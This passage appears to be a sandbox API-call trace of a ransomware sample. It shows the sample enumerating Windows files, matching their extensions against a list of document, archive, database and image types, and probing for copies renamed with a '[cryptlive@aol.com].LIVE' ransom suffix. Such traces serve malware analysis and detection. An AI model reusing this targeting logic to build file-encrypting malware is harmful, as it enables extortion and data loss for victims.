(hObject=0x1f0) returned 1 [0127.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0127.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.369] lstrlenW (lpString=".doc") returned 4 [0127.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0127.369] lstrlenW (lpString=".docx") returned 5 [0127.369] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0127.369] lstrlenW (lpString=".pdf") returned 4 [0127.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0127.369] lstrlenW (lpString=".xls") returned 4 [0127.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0127.369] lstrlenW (lpString=".xlsx") returned 5 [0127.369] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0127.369] lstrlenW (lpString=".ppt") returned 4 [0127.369] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0127.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.369] lstrlenW (lpString=".zip") returned 4 [0127.369] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0127.369] lstrlenW (lpString=".rar") returned 4 [0127.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0127.369] lstrlenW (lpString=".bz2") returned 4 [0127.369] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0127.369] lstrlenW (lpString=".7z") returned 3 [0127.369] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0127.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.369] lstrlenW (lpString=".dbf") returned 4 [0127.369] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0127.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.369] lstrlenW (lpString=".1cd") returned 4 [0127.369] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0127.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.369] lstrlenW (lpString=".jpg") returned 4 [0127.369] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0127.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.369] lstrlenW (lpString=".doc") returned 4 [0127.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0127.370] lstrlenW (lpString=".docx") returned 5 [0127.370] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0127.370] lstrlenW (lpString=".pdf") returned 4 [0127.370] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0127.370] lstrlenW (lpString=".xls") returned 4 [0127.370] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0127.370] lstrlenW (lpString=".xlsx") returned 5 [0127.370] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0127.370] lstrlenW (lpString=".ppt") returned 4 [0127.370] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0127.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.370] lstrlenW (lpString=".zip") returned 4 [0127.370] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0127.370] lstrlenW (lpString=".rar") returned 4 [0127.370] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0127.370] lstrlenW (lpString=".bz2") returned 4 [0127.370] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0127.370] lstrlenW (lpString=".7z") returned 3 [0127.370] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0127.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.370] lstrlenW (lpString=".dbf") returned 4 [0127.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0127.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.370] lstrlenW (lpString=".1cd") returned 4 [0127.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0127.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0127.370] lstrlenW (lpString=".jpg") returned 4 [0127.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0127.370] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0127.370] lstrlenW (lpString="boxed-join.avi") returned 14 [0127.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0129.799] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=33280) returned 1 [0129.799] CloseHandle (hObject=0x300) returned 1 [0129.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0129.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.800] lstrlenW (lpString=".doc") returned 4 [0129.800] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.800] lstrlenW (lpString=".docx") returned 5 [0129.800] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0129.800] lstrlenW (lpString=".pdf") returned 4 [0129.800] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.800] lstrlenW (lpString=".xls") returned 4 [0129.800] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.800] lstrlenW (lpString=".xlsx") returned 5 [0129.800] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0129.800] lstrlenW (lpString=".ppt") returned 4 [0129.800] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.800] lstrlenW (lpString=".zip") returned 4 [0129.800] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.800] lstrlenW (lpString=".rar") returned 4 [0129.800] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.800] lstrlenW (lpString=".bz2") returned 4 [0129.800] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.801] lstrlenW (lpString=".7z") returned 3 [0129.801] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.801] lstrlenW (lpString=".dbf") returned 4 [0129.801] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.801] lstrlenW (lpString=".1cd") returned 4 [0129.801] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.801] lstrlenW (lpString=".jpg") returned 4 [0129.801] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.801] lstrlenW (lpString=".doc") returned 4 [0129.801] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.801] lstrlenW (lpString=".docx") returned 5 [0129.801] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0129.801] lstrlenW (lpString=".pdf") returned 4 [0129.801] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.801] lstrlenW (lpString=".xls") returned 4 [0129.801] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.801] lstrlenW (lpString=".xlsx") returned 5 [0129.801] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0129.801] lstrlenW (lpString=".ppt") returned 4 [0129.801] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.802] lstrlenW (lpString=".zip") returned 4 [0129.802] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.802] lstrlenW (lpString=".rar") returned 4 [0129.802] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.802] lstrlenW (lpString=".bz2") returned 4 [0129.802] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.802] lstrlenW (lpString=".7z") returned 3 [0129.802] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.802] lstrlenW (lpString=".dbf") returned 4 [0129.802] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.802] lstrlenW (lpString=".1cd") returned 4 [0129.802] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0129.802] lstrlenW (lpString=".jpg") returned 4 [0129.802] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.802] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0129.802] lstrlenW (lpString="keypadbase.xml") returned 14 [0129.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0130.153] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1118) returned 1 [0130.153] CloseHandle (hObject=0x2f8) returned 1 [0130.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0130.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.154] lstrlenW (lpString=".doc") returned 4 [0130.154] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0130.154] lstrlenW (lpString=".docx") returned 5 [0130.154] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0130.154] lstrlenW (lpString=".pdf") returned 4 [0130.154] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0130.154] lstrlenW (lpString=".xls") returned 4 [0130.154] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0130.154] lstrlenW (lpString=".xlsx") returned 5 [0130.154] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0130.154] lstrlenW (lpString=".ppt") returned 4 [0130.154] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0130.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.154] lstrlenW (lpString=".zip") returned 4 [0130.154] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0130.154] lstrlenW (lpString=".rar") returned 4 [0130.154] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0130.154] lstrlenW (lpString=".bz2") returned 4 [0130.154] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0130.154] lstrlenW (lpString=".7z") returned 3 [0130.154] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0130.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.154] lstrlenW (lpString=".dbf") returned 4 [0130.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0130.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.155] lstrlenW (lpString=".1cd") returned 4 [0130.155] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0130.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.155] lstrlenW (lpString=".jpg") returned 4 [0130.155] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0130.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.155] lstrlenW (lpString=".doc") returned 4 [0130.155] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0130.155] lstrlenW (lpString=".docx") returned 5 [0130.155] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0130.155] lstrlenW (lpString=".pdf") returned 4 [0130.155] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0130.155] lstrlenW (lpString=".xls") returned 4 [0130.155] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0130.155] lstrlenW (lpString=".xlsx") returned 5 [0130.155] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0130.155] lstrlenW (lpString=".ppt") returned 4 [0130.155] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0130.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.155] lstrlenW (lpString=".zip") returned 4 [0130.155] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0130.155] lstrlenW (lpString=".rar") returned 4 [0130.155] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0130.155] lstrlenW (lpString=".bz2") returned 4 [0130.155] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0130.155] lstrlenW (lpString=".7z") returned 3 [0130.155] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0130.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.155] lstrlenW (lpString=".dbf") returned 4 [0130.155] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0130.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.155] lstrlenW (lpString=".1cd") returned 4 [0130.155] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0130.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0130.156] lstrlenW (lpString=".jpg") returned 4 [0130.156] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0130.156] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0130.156] lstrlenW (lpString="base_heb.xml") returned 12 [0130.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.140] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=738) returned 1 [0131.140] CloseHandle (hObject=0x314) returned 1 [0131.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0131.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.141] lstrlenW (lpString=".doc") returned 4 [0131.141] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.141] lstrlenW (lpString=".docx") returned 5 [0131.141] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0131.141] lstrlenW (lpString=".pdf") returned 4 [0131.141] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.141] lstrlenW (lpString=".xls") returned 4 [0131.141] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.141] lstrlenW (lpString=".xlsx") returned 5 [0131.141] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0131.141] lstrlenW (lpString=".ppt") returned 4 [0131.141] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.141] lstrlenW (lpString=".zip") returned 4 [0131.141] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.141] lstrlenW (lpString=".rar") returned 4 [0131.141] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.142] lstrlenW (lpString=".bz2") returned 4 [0131.142] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.142] lstrlenW (lpString=".7z") returned 3 [0131.142] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.142] lstrlenW (lpString=".dbf") returned 4 [0131.142] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.142] lstrlenW (lpString=".1cd") returned 4 [0131.142] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.142] lstrlenW (lpString=".jpg") returned 4 [0131.142] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.142] lstrlenW (lpString=".doc") returned 4 [0131.142] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.142] lstrlenW (lpString=".docx") returned 5 [0131.142] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0131.142] lstrlenW (lpString=".pdf") returned 4 [0131.142] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.142] lstrlenW (lpString=".xls") returned 4 [0131.142] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.142] lstrlenW (lpString=".xlsx") returned 5 [0131.142] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0131.142] lstrlenW (lpString=".ppt") returned 4 [0131.142] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.143] lstrlenW (lpString=".zip") returned 4 [0131.143] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.143] lstrlenW (lpString=".rar") returned 4 [0131.143] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.143] lstrlenW (lpString=".bz2") returned 4 [0131.143] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.143] lstrlenW (lpString=".7z") returned 3 [0131.143] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.143] lstrlenW (lpString=".dbf") returned 4 [0131.143] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.143] lstrlenW (lpString=".1cd") returned 4 [0131.143] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0131.143] lstrlenW (lpString=".jpg") returned 4 [0131.143] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.143] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.143] lstrlenW (lpString="ipscsy.xml") returned 10 [0131.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.218] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2556) returned 1 [0131.218] CloseHandle (hObject=0x314) returned 1 [0131.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0131.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.287] lstrlenW (lpString=".doc") returned 4 [0131.287] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.287] lstrlenW (lpString=".docx") returned 5 [0131.287] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0131.287] lstrlenW (lpString=".pdf") returned 4 [0131.287] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.287] lstrlenW (lpString=".xls") returned 4 [0131.287] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.287] lstrlenW (lpString=".xlsx") returned 5 [0131.287] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0131.287] lstrlenW (lpString=".ppt") returned 4 [0131.287] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.287] lstrlenW (lpString=".zip") returned 4 [0131.287] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.287] lstrlenW (lpString=".rar") returned 4 [0131.287] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.287] lstrlenW (lpString=".bz2") returned 4 [0131.287] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.287] lstrlenW (lpString=".7z") returned 3 [0131.287] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.287] lstrlenW (lpString=".dbf") returned 4 [0131.287] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 